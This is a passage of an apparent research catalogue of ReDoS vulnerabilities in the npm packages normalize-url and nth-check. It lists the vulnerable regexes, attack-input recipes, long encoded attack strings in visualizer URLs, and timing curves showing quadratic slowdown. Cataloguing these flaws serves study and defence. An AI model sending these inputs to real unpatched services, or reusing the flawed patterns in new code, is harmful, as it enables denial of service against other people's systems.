classes.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-33502","https://github.com/advisories/GHSA-px4h-xg32-q955","https://github.com/sindresorhus/normalize-url/commit/b1fdb5120b6d27a88400d8800e67ff5a22bd2103"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5Edata%3A(%3F%3Ctype%3E.*%3F)%2C(%3F%3Cdata%3E.*%3F)(%3F%3A%23(%3F%3Chash%3E.*))%3F%24&in=data%3A%2C%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%0A","verification":{"engine":"node v22.23.1","benign_ms":0.08,"curve":[{"input_length":2507,"pumps":2500,"ms":21.71,"timed_out":false},{"input_length":5007,"pumps":5000,"ms":85.83,"timed_out":false},{"input_length":10007,"pumps":10000,"ms":337.38,"timed_out":false},{"input_length":20007,"pumps":20000,"ms":1354.8,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"nth-check-CVE-2021-3803","name":"nth-check","type":"cve","cve":"CVE-2021-3803","ghsa":"GHSA-rp65-9cf3-cjxr","cwe":"CWE-1333","ecosystem":"npm","package":"nth-check","affected":"<2.0.1","patched":"2.0.1","published":"2021-09-17","discovered_by":"Yeting Li","regex":"^([+\\-]?\\d*n)?\\s*(?:([+\\-]?)\\s*(\\d+))?$","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":" ","suffix":"!"},"benign":"2n+1","fix":{"type":"regex-rewrite","summary":"Two \\s* groups separated by an optional ([+-]?) that can match empty let a whitespace run be split two ways. nth-check 2.0.1 restructured parsing to avoid the overlapping optional whitespace.","commit":"https://github.com/fb55/nth-check/security/advisories/GHSA-rp65-9cf3-cjxr"},"description":"nth-check parses CSS :nth-child()-style formulas and is a transitive dependency of svgo, css-select and much of the front-end build tool-chain. A crafted formula of whitespace triggers quadratic backtracking.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3803","https://github.com/advisories/GHSA-rp65-9cf3-cjxr"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E(%5B%2B%5C-%5D%3F%5Cd*n)%3F%5Cs*(%3F%3A(%5B%2B%5C-%5D%3F)%5Cs*(%5Cd%2B))%3F%24&in=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2